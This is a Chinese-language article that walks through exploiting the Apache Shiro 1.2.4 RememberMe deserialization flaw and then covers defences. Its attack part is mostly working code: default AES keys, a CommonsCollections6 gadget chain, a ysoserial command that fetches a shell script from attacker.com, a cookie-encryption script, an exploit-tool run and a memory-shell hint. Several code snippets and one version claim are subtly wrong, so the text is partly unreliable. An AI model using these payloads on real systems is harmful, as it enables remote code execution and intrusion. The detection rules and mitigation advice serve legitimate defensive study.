Apache Shiro 1.2.4 反序列化漏洞深度解析:从RememberMe Cookie到RCE的完整攻击链

Apache Shiro 1.2.4 反序列化漏洞深度解析:从RememberMe Cookie到RCE的完整攻击链

在Java安全领域,Apache Shiro框架的反序列化漏洞(CVE-2016-4437)堪称经典案例。本文将深入剖析Shiro 1.2.4版本中这个被标记为Shiro-550的漏洞,揭示从RememberMe Cookie构造到最终实现远程代码执行(RCE)的完整技术链条。

1. 漏洞核心原理分析

Shiro的RememberMe功能允许用户在关闭浏览器后仍保持登录状态,其实现机制涉及三个关键环节:

  1. 序列化与加密流程
    用户登录成功时,Shiro会执行以下操作:

    // 伪代码展示核心流程 Serializable principal = serialize(userPrincipal); byte[] encrypted = AES.encrypt(principal, DEFAULT_KEY); String cookieValue = Base64.encode(encrypted);
  2. 硬编码密钥问题
    漏洞根源在于AbstractRememberMeManager类中:

    private static final byte[] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==");

    这个AES密钥被硬编码在框架中,且从1.2.4到1.4.2版本均未改变。

  3. 反序列化触发点
    当请求携带RememberMe Cookie时,Shiro会逆向执行:

    Base64解码 -> AES解密 -> 反序列化

    攻击者只要获取默认密钥,就能构造恶意序列化数据。

关键点:不同于常规反序列化漏洞,Shiro的漏洞利用需要先突破AES加密层,这也是该漏洞长期未被发现的原因。

2. 完整攻击链拆解

2.1 信息收集阶段

攻击者首先需要确认目标系统存在漏洞:

GET /login HTTP/1.1 Host: target.com # 检测响应中是否包含RememberMe字段 Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=...

2.2 密钥获取与验证

使用公开的默认密钥进行验证:

import base64 from Crypto.Cipher import AES def test_key(key): try: cipher = AES.new(base64.b64decode(key), AES.MODE_CBC) return True except: return False KNOWN_KEYS = [ "kPH+bIxk5D2deZiIxcaaaA==", "2AvVhdsgUs0FSA3SDFAdag==", "3AvVhmFLUs0KTA3Kprsdag==" ] valid_keys = [k for k in KNOWN_KEYS if test_key(k)]

2.3 恶意Payload构造

典型利用链选择(以CommonsCollections6为例):

组件作用
PriorityQueue反序列化入口点
TiedMapEntry触发Map操作
LazyMap延迟执行transform
InvokerTransformer反射调用危险方法
// 简化版Payload生成逻辑 Transformer[] transformers = new Transformer[]{ new InvokerTransformer("getMethod", ...), new InvokerTransformer("invoke", ...), new ConstantTransformer(Runtime.class), new InvokerTransformer("exec", ...) }; ChainedTransformer chain = new ChainedTransformer(transformers); Map lazyMap = LazyMap.decorate(new HashMap(), chain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "exploit"); PriorityQueue queue = new PriorityQueue(2); queue.add(entry); queue.add(entry);

2.4 完整攻击流程

  1. 使用ysoserial生成Payload
    java -jar ysoserial.jar CommonsCollections6 "curl http://attacker.com/shell.sh" > payload.bin
  2. 使用Shiro默认密钥加密:
    from Crypto.Cipher import AES import uuid def encrypt(key, payload): iv = uuid.uuid4().bytes cipher = AES.new(base64.b64decode(key), AES.MODE_CBC, iv) return base64.b64encode(iv + cipher.encrypt(payload))
  3. 构造恶意Cookie:
    Cookie: rememberMe=ENCRYPTED_PAYLOAD; Path=/;

3. 防御方案对比

方案优点缺点
升级到1.7.1+彻底修复,使用随机密钥可能需代码适配
自定义密钥保持版本兼容性需确保密钥安全
禁用RememberMe完全消除风险牺牲用户体验

推荐组合方案

  1. 升级到最新稳定版
  2. 自定义高强度密钥:
    @Bean public CookieRememberMeManager rememberMeManager() { CookieRememberMeManager manager = new CookieRememberMeManager(); manager.setCipherKey(generateSecureKey()); return manager; }
  3. 添加反序列化过滤器:
    <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-core</artifactId> <version>${shiro.version}</version> <exclusions> <exclusion> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> </exclusion> </exclusions> </dependency>

4. 深度技术剖析

4.1 AES加密模式分析

Shiro使用CBC模式进行加密,其加密结构如下:

区块长度说明
IV16字节随机初始化向量
密文N*16字节PKCS7填充的序列化数据

加密过程伪代码:

def encrypt(key, plaintext): iv = os.urandom(16) cipher = AES.new(key, AES.MODE_CBC, iv) padded = pad(plaintext, AES.block_size) return iv + cipher.encrypt(padded)

4.2 反序列化防御机制绕过

Shiro的反序列化流程存在两个关键弱点:

  1. 没有对反序列化的类进行白名单校验
  2. DefaultSerializer.deserialize()中直接调用ObjectInputStream

对比安全实现应包含:

ObjectInputStream ois = new SafeObjectInputStream(byteSource.getInputStream());

4.3 攻击链优化技巧

实际渗透测试中需要注意:

  1. Payload大小限制:Cookie通常有4KB限制,需精简Payload
  2. 不出网利用:当目标无法外连时,可构造内存马:
    // 注册Filter内存马示例 defineClass(evilFilterBytes) addFilter("evilFilter", new EvilFilter())
  3. 回显处理:通过异常信息或延时判断执行结果

5. 实战检测与验证

使用集成化检测工具验证漏洞:

python shiro_exploit.py -u http://target.com -c "whoami"

典型响应特征:

  • 有效Payload返回200状态码
  • 无效Padding返回rememberMe=deleteMe的Set-Cookie头

对于防御方,推荐检测方案:

  1. 流量审计规则:
    Set-Cookie.*rememberMe=[^=]{10,};.*(deleteMe|JSESSIONID)
  2. RASP防护点:
    // 在ObjectInputStream.resolveClass()处hook if(classname.contains("org.apache.commons.collections")) { throw new SecurityException("Block dangerous deserialization"); }

在真实企业环境中,曾遇到一个典型案例:某金融系统因使用旧版Shiro,攻击者通过该漏洞获取了数据库权限。事后分析发现,系统虽然修改了默认密钥,但密钥被硬编码在源码中并意外泄露到GitHub。这提醒我们密钥管理同样重要,建议采用类似Vault的专用密钥管理系统。